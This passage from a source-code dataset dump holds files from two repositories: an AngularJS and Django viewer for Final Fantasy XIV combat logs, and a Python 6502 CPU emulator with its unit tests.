['encid', 'title', 'starttime', 'endtime', 'duration', 'damage', 'encdps', 'zone', 'kills', 'deaths']\n list_filter = ['zone', 'title', 'kills', 'deaths']\n\nadmin.site.register(AttackType, AttackTypeAdmin)\nadmin.site.register(Combatant, GenericAdmin)\nadmin.site.register(Current, GenericAdmin)\nadmin.site.register(DamageType, GenericAdmin)\nadmin.site.register(Encounter, EncounterAdmin)\nadmin.site.register(Swing, GenericAdmin)\n" }, { "alpha_fraction": 0.4449458420276642, "alphanum_fraction": 0.4648014307022095, "avg_line_length": 38.57143020629883, "blob_id": "529fe6c3e16dd6501d0e9db18c42e6332ce5d97c", "content_id": "09123c0fb764890e53479637cadd53faac9bf418", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1108, "license_type": "no_license", "max_line_length": 119, "num_lines": 28, "path": "/xivinsight/xivinsight/core/static/templates/encounter/list_item.html", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "<a class=\"encounter-item list-group-item\" href=\"#\"\n ng-class=\"{'active': $root.session.data.encounter == encounter}\"\n ng-click=\"activate()\">\n <div class=\"background-text\">\n {{ encounter.encdps | number : 0 }}\n </div>\n <div class=\"up5\">\n <div class=\"pull-left\">\n <img class=\"target\" src=\"http://xivdbimg.zamimg.com/images/icons/053000/053041.png\" />\n </div>\n <div style=\"margin-left: 30px;\">\n <div>\n <span ng-click=\"delete()\" class=\"pull-right\">&times;</span>\n <strong>{{ encounter.title }}</strong>\n </div>\n <div class=\"small\">\n <div><em>{{ encounter.zone }}</em></div>\n <div>\n <span class=\"pull-right\">{{ encounter.starttime | date : \"short\" }}</span>\n </div>\n <div>\n <em>{{ encounter.duration / 60 | number : 0 }}:{{ (encounter.duration % 60) | padZeroes : 2 }}</em>\n <small>minutes</small>\n </div>\n </div>\n </div>\n </div>\n</a>\n" }, { "alpha_fraction": 0.5918270945549011, "alphanum_fraction": 0.5919848680496216, "avg_line_length": 26.798246383666992, "blob_id": "73f0cdd839be7cd1feff415c93e5e257d7de2973", "content_id": "07817ad041e5385f25ade806aa2fcbe615417426", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6338, "license_type": "no_license", "max_line_length": 103, "num_lines": 228, "path": "/xivinsight/xivinsight/core/static/app/core.js", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "angular.module('xivinsight.core', [\n 'ngCookies',\n 'xivinsight.services.SiteConfiguration',\n 'xivinsight.filters',\n 'xivinsight.api'\n])\n\n.run(function($http, $cookies){\n var csrf_header = {'X-CSRFToken': $cookies.csrftoken}\n $http.defaults.headers['delete'] = {};\n angular.extend($http.defaults.headers.post, csrf_header);\n angular.extend($http.defaults.headers.put, csrf_header);\n angular.extend($http.defaults.headers.delete, csrf_header);\n})\n\n.factory('Session', function(){\n var data = {\n 'encounter': null\n };\n\n function setEncounter(encounter){\n console.log(\"Setting encounter to\", encounter);\n data['encounter'] = encounter;\n }\n\n return {\n 'data': data,\n 'setEncounter': setEncounter\n };\n})\n\n.controller('XIVINSIGHT', function($rootScope, Session){\n $rootScope.session = Session;\n})\n\n// <encounter-list>\n.controller('EncounterList', function($scope, Restangular, Session){\n var apiSource = null;\n function _getApiSource(){\n apiSource = Restangular.all('encounter').getList();\n $scope.objects = apiSource.$object; // to be filled when api call finishes\n }\n\n this.activateEncounter = function(encounter){\n Session.setEncounter(encounter);\n }\n this.deleteEncounter = function(encounter){\n Restangular.one('encounter', encounter.encid).remove();\n if (Session.data.encounter == encounter) {\n Session.setEncounter(null);\n }\n var i = $scope.objects.indexOf(encounter);\n $scope.objects.splice(i, 1);\n }\n\n _getApiSource();\n})\n.directive('encounterList', function(SiteConfiguration){\n return {\n restrict: 'E',\n controller: 'EncounterList',\n templateUrl: SiteConfiguration.TEMPLATE_URL + 'encounter/list.html'\n }\n})\n\n// <encounter-item>\n.controller('EncounterItem', function(){\n})\n.directive('encounterItem', function(SiteConfiguration){\n return {\n restrict: 'EA',\n controller: 'EncounterItem',\n require: '^encounterList',\n replace: true, // the bootstrap a.list-group-item is hard :'(\n templateUrl: SiteConfiguration.TEMPLATE_URL + 'encounter/list_item.html',\n scope: {\n \"encounter\": '=',\n },\n link: function(scope, element, attrs, listController){\n var fn = {\n activate: function(){\n listController.activateEncounter(scope.encounter);\n },\n delete: function(){\n listController.deleteEncounter(scope.encounter);\n }\n }\n\n // Publish to scope\n angular.extend(scope, fn);\n }\n }\n})\n\n// <active-encounter>\n.controller('ActiveEncounter', function($scope, Restangular, Session){\n var apiSource = null;\n var data = {\n 'encounter': null,\n 'allSwings': []\n };\n function _getApiSource(){\n apiSource = Restangular.all('combatant').getList({\n 'encid': Session.data.encounter.encid\n });\n\n data = {};\n data.combatants = apiSource.$object;\n }\n\n this.clearEncounter = function(){\n Session.setEncounter(null);\n }\n this.loadEncounter = function(){\n // Called by <active-encounter> $watch() every time the session encounter changes\n var encounter = Session.data.encounter;\n data.encounter = encounter;\n\n if (encounter === null) {\n this.clearEncounter();\n return;\n }\n\n _getApiSource();\n\n // Update all of the scope references\n angular.extend($scope, data);\n }\n})\n.directive('activeEncounter', function(SiteConfiguration, Session){\n return {\n restrict: 'E',\n controller: 'ActiveEncounter',\n templateUrl: SiteConfiguration.TEMPLATE_URL + 'encounter/active_panel.html',\n scope: true,\n link: function(scope, element, attrs, controller){\n scope.$watch(function(){ return Session.data.encounter; }, function(newVal, oldVal, scope){\n controller.loadEncounter();\n });\n }\n }\n})\n\n// <swing-list>\n.controller('SwingList', function($scope){\n \n})\n.directive('swingList', function(SiteConfiguration){\n return {\n restrict: 'E',\n controller: 'SwingList',\n templateUrl: SiteConfiguration.TEMPLATE_URL + 'swing/list.html',\n scope: {\n \"objects\": '=swings'\n }\n }\n})\n\n// <swing-item>\n.controller('SwingItem', function(){\n \n})\n.directive('swingItem', function(SiteConfiguration){\n return {\n restrict: 'E',\n controller: 'SwingItem',\n templateUrl: SiteConfiguration.TEMPLATE_URL + 'swing/list_item.html',\n scope: {\n \"swing\": '='\n }\n }\n})\n.directive('swingIcon', function(SiteConfiguration){\n function getAttackImageName(attacktype){\n var name = attacktype.toLowerCase().replace(\" (*)\", \"_tick\").replace(/ /g, '_');\n return SiteConfiguration.IMAGE_URL + name + \".png\";\n }\n\n return {\n restrict: 'A',\n link: function(scope, element, attrs, controller){\n attrs.$set('src', getAttackImageName(scope.swing.attacktype));\n }\n }\n})\n\n// <swing-list>\n.controller('CombatantList', function($scope){\n \n})\n.directive('combatantList', function(SiteConfiguration){\n return {\n restrict: 'E',\n controller: 'SwingList',\n templateUrl: SiteConfiguration.TEMPLATE_URL + 'combatant/list.html',\n scope: {\n \"objects\": '=combatants'\n }\n }\n})\n\n// <swing-item>\n.controller('Combatant', function(){\n \n})\n.directive('combatant', function(SiteConfiguration){\n return {\n restrict: 'E',\n controller: 'SwingItem',\n templateUrl: SiteConfiguration.TEMPLATE_URL + 'combatant/list_item.html',\n scope: {\n \"combatant\": '='\n }\n }\n})\n.directive('swingIcon', function(SiteConfiguration){\n function getAttackImageName(attacktype){\n var name = attacktype.toLowerCase().replace(\" (*)\", \"_tick\").replace(/ /g, '_');\n return SiteConfiguration.IMAGE_URL + name + \".png\";\n }\n\n return {\n restrict: 'A',\n link: function(scope, element, attrs, controller){\n attrs.$set('src', getAttackImageName(scope.swing.attacktype));\n }\n }\n})\n" }, { "alpha_fraction": 0.641791045665741, "alphanum_fraction": 0.641791045665741, "avg_line_length": 21, "blob_id": "6032a6cd81d0a9360f9fe4d788aa22e6212c9a79", "content_id": "583379ae44f787e5cd0caf0937660ec325a6ce4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 67, "license_type": "no_license", "max_line_length": 40, "num_lines": 3, "path": "/xivinsight/xivinsight/core/static/app/app.js", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "var app = angular.module('xivinsight', [\n 'xivinsight.core'\n])\n\n" }, { "alpha_fraction": 0.6065163016319275, "alphanum_fraction": 0.6365914940834045, "avg_line_length": 35.272727966308594, "blob_id": "f76341f8955c811d3e98fa008b385755e9c8c900", "content_id": "c13dd0f1c3066f0de18c60a43fa1b5a99c7c1f23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 399, "license_type": "no_license", "max_line_length": 83, "num_lines": 11, "path": "/xivinsight/xivinsight/core/static/app/filters.js", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "angular.module('xivinsight.filters', [])\n\n.filter('padZeroes', function(){\n return function(number, padSize){\n var numberSize = (\"\" + number).length;\n var padding = \"0000000000\";\n padSize = Math.max(1, Math.min(padding.length, padSize || 1));\n var leadingPadding = padding.substr(padding.length - padSize + numberSize);\n return leadingPadding + number\n }\n})\n" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.7321428656578064, "avg_line_length": 17.66666603088379, "blob_id": "c3a51c497803e96f9884d63fc8eb62977d3c3779", "content_id": "37d4959d49c8de41942e153c76f27c9665b307f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 56, "license_type": "no_license", "max_line_length": 26, "num_lines": 3, "path": "/requirements.txt", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "Django==1.7.1\nPyMySQL==0.6.2\ndjangorestframework==3.0.0\n" }, { "alpha_fraction": 0.5965480208396912, "alphanum_fraction": 0.6073355078697205, "avg_line_length": 30.965517044067383, "blob_id": "684e420bc2b9c9204714bd4fb3d21527e6699479", "content_id": "9a5ff8717ba2bf85cd28bc602988404488ee946b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 927, "license_type": "no_license", "max_line_length": 88, "num_lines": 29, "path": "/xivinsight/xivinsight/core/utils.py", "repo_name": "tiliv/xivinsight", "src_encoding": "UTF-8", "text": "from datetime import timedelta\n\nSWING_TYPES = {\n 'AUTO_ATTACK': 1,\n 'SKILL': 2,\n '???': 10,\n 'DOT_TICK': 20,\n 'NEW_EFFECT': 21,\n}\nSWING_TYPES_CHOICES = (\n (SWING_TYPES['AUTO_ATTACK'], \"Auto-attack\"),\n (SWING_TYPES['SKILL'], \"Skill\"), # GCD and Instant skills both show as 2\n (SWING_TYPES['???'], \"(Instant?)\"),\n (SWING_TYPES['DOT_TICK'], \"DoT tick\"),\n (SWING_TYPES['NEW_EFFECT'], \"New effect\"), # damagestring becomes an aggro quantity\n)\n\ndef annotate_timestamp_deltas(object_list, timestamp_field):\n object_list = list(object_list)\n last_timestamp = None\n for obj in object_list:\n timestamp = getattr(obj, timestamp_field)\n if last_timestamp is None:\n delta = timedelta() # 0\n else:\n delta = timestamp - last_timestamp\n setattr(obj, \"{}_delta\".format(timestamp_field), delta)\n last_timestamp = timestamp\n return object_list\n" } ]
14
wkmanire/modemu
https://github.com/wkmanire/modemu
f4b24b55bde9f5ca5737aa3c0838e6e12acccf4b
0a77c4aaf989a71c064de8672b5f808072eac3e4
c182f1090f4b288aad6e13f3eb6254fc247d1874
refs/heads/master
2016-07-26T04:37:44.665307
2015-03-28T06:07:26
2015-03-28T06:07:26
32,830,587
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5632911324501038, "alphanum_fraction": 0.5685654282569885, "avg_line_length": 17.940000534057617, "blob_id": "fbd2b5ffa7a6d3b5cacc74201de6e7504d2d2d0a", "content_id": "ba3fd44c4582b6b0e1514bfd80ba4bfd0dde2008", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 948, "license_type": "permissive", "max_line_length": 63, "num_lines": 50, "path": "/emu/operations.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom abc import ABCMeta, abstractmethod\n\n\nclass Operation(object, metaclass=ABCMeta): # pragma: no cover\n\n @abstractmethod\n def execute(self, cpu, operand):\n pass\n\n\nclass BRK(Operation):\n\n def execute(self, cpu, operand):\n pass\n\n\nclass ORA(Operation):\n\n def execute(self, cpu, operand):\n new_a = cpu.a | operand\n cpu.set_negative_flag(new_a)\n cpu.set_zero_flag(new_a)\n cpu.a = new_a\n\n\nclass ADC(Operation):\n\n def execute(self, cpu, operand):\n total = cpu.a + operand\n\n if cpu.has_carried():\n total += 1\n\n cpu.set_carry_flag(total)\n cpu.set_overflow_flag(total)\n\n if total > 0xFF:\n total -= 0xFF + 1\n\n cpu.a = total\n\n\nclass AND(Operation):\n\n def execute(self, cpu, operand):\n new_a = cpu.a & operand\n cpu.set_negative_flag(new_a)\n cpu.set_zero_flag(new_a)\n cpu.a = new_a\n\n" }, { "alpha_fraction": 0.6830986142158508, "alphanum_fraction": 0.6866196990013123, "avg_line_length": 28.894737243652344, "blob_id": "9a1d43da9b9d65b598d588c904606bbef4f2e26f", "content_id": "1a6cd61d5347de66c067dbccf39ec8d96fd717fe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 568, "license_type": "permissive", "max_line_length": 59, "num_lines": 19, "path": "/tests/test_opcode.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom unittest import TestCase\nfrom unittest.mock import Mock\nfrom addressing import AddressingMode\nfrom cpu import CPU\nfrom opcodes import OpCode\nfrom operations import Operation\n\n\nclass OpCodeTestCase(TestCase):\n\n def test_execute(self):\n mock_cpu = Mock(CPU)\n mock_addr_mode = Mock(AddressingMode)\n mock_addr_mode.get_operand.return_value = \"foo\"\n mock_op = Mock(Operation)\n oc = OpCode(0, mock_addr_mode, mock_op)\n oc.execute(mock_cpu)\n mock_op.execute.assert_called_with(mock_cpu, \"foo\")\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.6279069781303406, "avg_line_length": 25.461538314819336, "blob_id": "318f0bfa42970a13f8b729112a32b348528615e5", "content_id": "18c3e482cebc562034824d07a7ab20a857550c81", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 344, "license_type": "permissive", "max_line_length": 57, "num_lines": 13, "path": "/emu/opcodes.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\nclass OpCode(object):\n\n def __init__(self, code, addressing_mode, operation):\n self.code = code\n self.addressing_mode = addressing_mode\n self.operation = operation\n\n def execute(self, cpu):\n operand = self.addressing_mode.get_operand(cpu)\n self.operation.execute(cpu, operand)\n" }, { "alpha_fraction": 0.6299275755882263, "alphanum_fraction": 0.6783319711685181, "avg_line_length": 34.01408386230469, "blob_id": "49560f74751ea7fab7338ec5daa4c7eef9d64d4e", "content_id": "2c0ee80eba97de611b649b3419a7858f4ac0c3fe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7458, "license_type": "permissive", "max_line_length": 118, "num_lines": 213, "path": "/tests/test_addressing.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom unittest import TestCase\n\nfrom addressing import LittleEndianAddress, ZeroPageAddressingMode, ImmediateAddressingMode, AbsoluteAddressingMode, \\\n ImpliedAddressingMode, AccumulatorAddressingMode, YIndexedAddressingMode, XIndexedAddressingMode, \\\n ZeroPageXIndexedAddressingMode, ZeroPageYIndexedAddressingMode, IndirectAddressingMode, \\\n PreIndexedIndirectAddressingMode, PostIndexedIndirectAddressingMode\nfrom cpu import CPU, CPUFactory\n\n\nclass LittleEndianAddressTestCase(TestCase):\n\n def test_create(self):\n address = LittleEndianAddress(0, 0)\n self.assertEqual(\"0x0000\", str(address))\n\n def test_create_with_non_zero_low_byte(self):\n address = LittleEndianAddress(0xA7, 0)\n self.assertEqual(\"0x00A7\", str(address))\n\n def test_create_with_non_zero_high_byte(self):\n address = LittleEndianAddress(0, 0xEA)\n self.assertEqual(\"0xEA00\", str(address))\n\n def test_create_with_non_zero_bytes(self):\n address = LittleEndianAddress(0xA7, 0xEA)\n self.assertEqual(\"0xEAA7\", str(address))\n\n def test_equal(self):\n address_a = LittleEndianAddress(0xA7, 0xEA)\n address_b = LittleEndianAddress(0xA7, 0xEA)\n self.assertEqual(address_a, address_b)\n\n def test_simple_addition(self):\n address = LittleEndianAddress(0x01, 0) + LittleEndianAddress(0x0A, 0)\n self.assertEqual(str(address), \"0x000B\")\n\n def test_addition_crossing_page_boundary(self):\n address = LittleEndianAddress(0xFE, 0) + LittleEndianAddress(0x05, 0)\n self.assertEqual(\"0x0104\", str(address))\n\n def test_gte_(self):\n self.assertGreater(LittleEndianAddress(0, 0x01), LittleEndianAddress(0, 0))\n self.assertGreater(LittleEndianAddress(0x01, 0x0), LittleEndianAddress(0, 0))\n self.assertFalse(LittleEndianAddress(0, 1) < LittleEndianAddress(0, 0))\n\n def test_lte(self):\n self.assertLess(LittleEndianAddress(0, 0), LittleEndianAddress(0, 0x01))\n self.assertLess(LittleEndianAddress(0, 0), LittleEndianAddress(0x01, 0x0))\n self.assertFalse(LittleEndianAddress(0, 0) > LittleEndianAddress(0, 1))\n\n def test_int(self):\n self.assertEqual(0, int(LittleEndianAddress(0, 0)))\n self.assertEqual(1, int(LittleEndianAddress(1, 0)))\n self.assertEqual(256, int(LittleEndianAddress(0, 1)))\n self.assertEqual(257, int(LittleEndianAddress(1, 1)))\n self.assertEqual(65535, int(LittleEndianAddress(0xFF, 0xFF)))\n\n def test_simple_subtraction(self):\n address = LittleEndianAddress(0x0A, 0) - LittleEndianAddress(0x01, 0)\n self.assertEqual(str(address), \"0x0009\")\n\n def test_subtraction_that_crosses_page_boundary(self):\n address = LittleEndianAddress(0x01, 0x01) - LittleEndianAddress(0x02, 0)\n self.assertEqual(str(address), \"0x00FE\")\n\n def test_overflow_low_bit(self):\n with self.assertRaises(ValueError):\n address = LittleEndianAddress(0xFFF, 0)\n\n def test_underflow_low_bit(self):\n with self.assertRaises(ValueError):\n address = LittleEndianAddress(-1, 0)\n\n def test_overflow_high_bit(self):\n with self.assertRaises(ValueError):\n address = LittleEndianAddress(0, 0xFFF)\n\n def test_underflow_high_bit(self):\n with self.assertRaises(ValueError):\n address = LittleEndianAddress(0, -1)\n\n\nclass ZeroPageAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n cpu.set_byte(0x10, 0xA1)\n addr_mode = ZeroPageAddressingMode()\n self.assertEqual(addr_mode.get_operand(cpu), 0xA1)\n\n\nclass ImmediateAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n addr_mode = ImmediateAddressingMode()\n self.assertEqual(addr_mode.get_operand(cpu), 0x10)\n\n\nclass AbsoluteAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n cpu.set_byte(0x801, 0xA1)\n cpu.set_byte(0xA110, 0xE3)\n addr_mode = AbsoluteAddressingMode()\n self.assertEqual(addr_mode.get_operand(cpu), 0xE3)\n\n\nclass ImpliedAddressModeTestCase(TestCase):\n\n def test_get_operand(self):\n # This makes sense because when the operand is implied by the opcode then\n # the opcode itself must know how to query the CPU for its operand.\n self.assertIsNone(ImpliedAddressingMode().get_operand(None))\n\n\nclass AccumulatorAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.a = 0x13\n self.assertEqual(cpu.a, AccumulatorAddressingMode().get_operand(cpu))\n\n\nclass XIndexedAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n cpu.set_byte(0x801, 0xA1)\n cpu.x = 0x03\n cpu.set_byte(0xA113, 0xE3)\n addr_mode = XIndexedAddressingMode()\n self.assertEqual(addr_mode.get_operand(cpu), 0xE3)\n\n\nclass YIndexedAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n cpu.set_byte(0x801, 0xA1)\n cpu.y = 0x03\n cpu.set_byte(0xA113, 0xE3)\n addr_mode = YIndexedAddressingMode()\n self.assertEqual(addr_mode.get_operand(cpu), 0xE3)\n\n\nclass ZeroPageXIndexedAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n cpu.x = 0x03\n cpu.set_byte(0x13, 0xE3)\n addr_mode = ZeroPageXIndexedAddressingMode()\n self.assertEqual(addr_mode.get_operand(cpu), 0xE3)\n\n\nclass ZeroPageYIndexedAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n cpu.y = 0x03\n cpu.set_byte(0x13, 0xE3)\n addr_mode = ZeroPageYIndexedAddressingMode()\n self.assertEqual(addr_mode.get_operand(cpu), 0xE3)\n\n\nclass IndirectAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.set_byte(0x800, 0x10)\n cpu.set_byte(0x801, 0x10)\n cpu.set_byte(0x1010, 0xA1)\n cpu.set_byte(0x1011, 0x1A)\n addr_mode = IndirectAddressingMode()\n expected_addr = LittleEndianAddress(0xA1, 0x1A)\n self.assertEqual(addr_mode.get_operand(cpu), expected_addr)\n\n\nclass PreIndexedIndirectAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.x = 1\n cpu.set_byte(0x0800, 0x10)\n cpu.set_byte(0x0011, 0xA1)\n cpu.set_byte(0x0012, 0x1A)\n addr_mode = PreIndexedIndirectAddressingMode()\n expected_addr = LittleEndianAddress(0xA1, 0x1A)\n self.assertEqual(addr_mode.get_operand(cpu), expected_addr)\n\nclass PostIndexedIndirectAddressingModeTestCase(TestCase):\n\n def test_get_operand(self):\n cpu = CPUFactory().create()\n cpu.y = 1\n cpu.set_byte(0x0800, 0x10)\n cpu.set_byte(0x0801, 0xAA)\n cpu.set_byte(0xAA11, 0xA1)\n cpu.set_byte(0xAA12, 0x1A)\n addr_mode = PostIndexedIndirectAddressingMode()\n expected_addr = LittleEndianAddress(0xA1, 0x1A)\n self.assertEqual(addr_mode.get_operand(cpu), expected_addr)\n" }, { "alpha_fraction": 0.5947842001914978, "alphanum_fraction": 0.6136952638626099, "avg_line_length": 28.809091567993164, "blob_id": "39600d2a8ff76bb258ed30fe7d29db56c87860e8", "content_id": "db1c575afc168ebab22ec126e9437e84c00dbca0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6557, "license_type": "permissive", "max_line_length": 120, "num_lines": 220, "path": "/emu/cpu.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom addressing import ImpliedAddressingMode, ImmediateAddressingMode, AbsoluteAddressingMode, ZeroPageAddressingMode, \\\n ZeroPageXIndexedAddressingMode, XIndexedAddressingMode, YIndexedAddressingMode, PreIndexedIndirectAddressingMode, \\\n PostIndexedIndirectAddressingMode\nfrom opcodes import OpCode\nfrom operations import BRK, ORA, ADC, AND\n\n\nclass StatusRegister(object):\n\n CARRY_BIT = 1 << 0\n ZERO_BIT = 1 << 1\n OVERFLOW_BIT = 1 << 6\n NEGATIVE_BIT = 1 << 7\n\n def __init__(self):\n self.value = 0\n\n def _check_bit(self, offset):\n return bool(self.value & offset)\n\n def _set_bit(self, offset):\n self.value = self.value | offset\n\n def _unset_bit(self, offset):\n self.value = self.value & ~offset\n\n def is_negative(self):\n return self._check_bit(self.NEGATIVE_BIT)\n\n def set_negative(self):\n self._set_bit(self.NEGATIVE_BIT)\n\n def unset_negative(self):\n self._unset_bit(self.NEGATIVE_BIT)\n\n def is_zero(self):\n return self._check_bit(self.ZERO_BIT)\n\n def set_zero(self):\n self._set_bit(self.ZERO_BIT)\n\n def unset_zero(self):\n self._unset_bit(self.ZERO_BIT)\n\n def has_carried(self):\n return self._check_bit(self.CARRY_BIT)\n\n def set_carry(self):\n self._set_bit(self.CARRY_BIT)\n\n def unset_carry(self):\n self._unset_bit(self.CARRY_BIT)\n\n def has_overflowed(self):\n return self._check_bit(self.OVERFLOW_BIT)\n\n def set_overflow(self):\n self._set_bit(self.OVERFLOW_BIT)\n\n def unset_overflow(self):\n self._unset_bit(self.OVERFLOW_BIT)\n\n\nclass CPU(object):\n\n SPECIAL_BYTES = (0xF7, 0xEF, 0xDF, 0xBF)\n SPECIAL_ADDRESSES = {0x8, 0x9, 0xA, 0xF}\n INIT_STATUS_REGISTER_VALUE = 0x34\n ADDR_END_OF_RAM = 0x7FF\n\n def add_opcode(self, opcode):\n if opcode.code in self.opcodes:\n raise KeyError(\"Opcode %s already registered\" % opcode.code)\n self.opcodes[opcode.code] = opcode\n\n def __init__(self):\n self.memory = [0] * 0xFFFF\n self.a = 0\n self.x = 0\n self.y = 0\n self.pc = 0x800\n self.s = 0xFD\n self.p = None\n self.opcodes = dict()\n self.opcode_lookup = dict()\n\n def power_up(self):\n special_bytes = self._get_reversed_special_bytes()\n for i in range(self.ADDR_END_OF_RAM):\n if i in self.SPECIAL_ADDRESSES:\n self.set_byte(i, special_bytes.pop())\n else:\n self.set_byte(i, 0xFF)\n\n def _get_reversed_special_bytes(self):\n special_bytes = list(self.SPECIAL_BYTES)\n special_bytes.reverse()\n return special_bytes\n\n def set_byte(self, address, value):\n if value > 0xFF:\n raise ValueError(\"Cannot write byte with value greater than 0xFF to memory\")\n elif value < 0x00:\n raise ValueError(\"Cannot write byte with value less than 0x00 to memory\")\n else:\n self.memory[int(address)] = value\n\n def get_byte(self, address):\n return self.memory[int(address)]\n\n def step(self):\n self.execute_opcode(self.read_byte())\n\n def read_byte(self):\n byte = self.get_byte(self.pc)\n self.pc += 1\n return byte\n\n def is_negative(self):\n return self.p.is_negative()\n\n def is_zero(self):\n return self.p.is_zero()\n\n def has_carried(self):\n return self.p.has_carried()\n\n def has_overflowed(self):\n return self.p.has_overflowed()\n\n def set_overflow_flag(self, operand):\n if operand >= 0x80:\n self.p.set_overflow()\n else:\n self.p.unset_overflow()\n\n def set_negative_flag(self, operand):\n if operand <= 0x7F:\n self.p.unset_negative()\n else:\n self.p.set_negative()\n\n def set_zero_flag(self, operand):\n if operand == 0:\n self.p.set_zero()\n else:\n self.p.unset_zero()\n\n def set_carry_flag(self, operand):\n if operand < 0x0 or operand > 0xFF:\n self.p.set_carry()\n else:\n self.p.unset_carry()\n\n def execute_opcode(self, code):\n self.opcodes[code].execute(self)\n\n\nclass CPUFactory(object):\n\n implied_addressing_mode = ImpliedAddressingMode()\n zero_page_addressing_mode = ZeroPageAddressingMode()\n zero_page_x_indexed_addressing_mode = ZeroPageXIndexedAddressingMode()\n immediate_addressing_mode = ImmediateAddressingMode()\n absolute_addressing_mode = AbsoluteAddressingMode()\n x_indexed_addressing_mode = XIndexedAddressingMode()\n y_indexed_addressing_mode = YIndexedAddressingMode()\n pre_indexed_indirect_addressing_mode = PreIndexedIndirectAddressingMode()\n post_indexed_indirect_addressing_mode = PostIndexedIndirectAddressingMode()\n\n brk = BRK()\n ora = ORA()\n adc = ADC()\n and_op = AND()\n\n OPCODES = [\n # BRK\n (0x00, implied_addressing_mode, brk),\n\n # ADC\n (0x69, immediate_addressing_mode, adc),\n (0x65, zero_page_addressing_mode, adc),\n (0x75, zero_page_x_indexed_addressing_mode, adc),\n (0x6D, absolute_addressing_mode, adc),\n (0x7D, x_indexed_addressing_mode, adc),\n (0x79, y_indexed_addressing_mode, adc),\n (0x61, pre_indexed_indirect_addressing_mode, adc),\n (0x71, post_indexed_indirect_addressing_mode, adc),\n\n # ORA\n (0x09, immediate_addressing_mode, ora),\n (0x05, zero_page_addressing_mode, ora),\n (0x15, zero_page_x_indexed_addressing_mode, ora),\n (0x0D, absolute_addressing_mode, ora),\n (0x1D, x_indexed_addressing_mode, ora),\n (0x19, y_indexed_addressing_mode, ora),\n (0x01, pre_indexed_indirect_addressing_mode, ora),\n (0x11, post_indexed_indirect_addressing_mode, ora),\n\n # AND\n (0x29, immediate_addressing_mode, and_op),\n (0x25, zero_page_addressing_mode, and_op),\n (0x35, zero_page_x_indexed_addressing_mode, and_op),\n (0x2D, absolute_addressing_mode, and_op),\n (0x3D, x_indexed_addressing_mode, and_op),\n (0x39, y_indexed_addressing_mode, and_op),\n (0x21, pre_indexed_indirect_addressing_mode, and_op),\n (0x31, post_indexed_indirect_addressing_mode, and_op)\n ]\n\n def create(self):\n cpu = CPU()\n cpu.p = StatusRegister()\n cpu.p.value = CPU.INIT_STATUS_REGISTER_VALUE\n\n for code, addressing_mode, operation in self.OPCODES:\n cpu.add_opcode(OpCode(code, addressing_mode, operation))\n\n return cpu" }, { "alpha_fraction": 0.6646510362625122, "alphanum_fraction": 0.6820358037948608, "avg_line_length": 33.65938949584961, "blob_id": "4246cd0734e176e995ad66f6c467f3316373c50d", "content_id": "de969edad9e2602a3ca18bdb6e69ad8f08713e01", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7938, "license_type": "permissive", "max_line_length": 120, "num_lines": 229, "path": "/tests/test_cpu.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom unittest import TestCase\nfrom unittest.mock import Mock\n\nfrom addressing import ImpliedAddressingMode, ImmediateAddressingMode, AbsoluteAddressingMode, ZeroPageAddressingMode, \\\n ZeroPageXIndexedAddressingMode, XIndexedAddressingMode, YIndexedAddressingMode, PreIndexedIndirectAddressingMode, \\\n 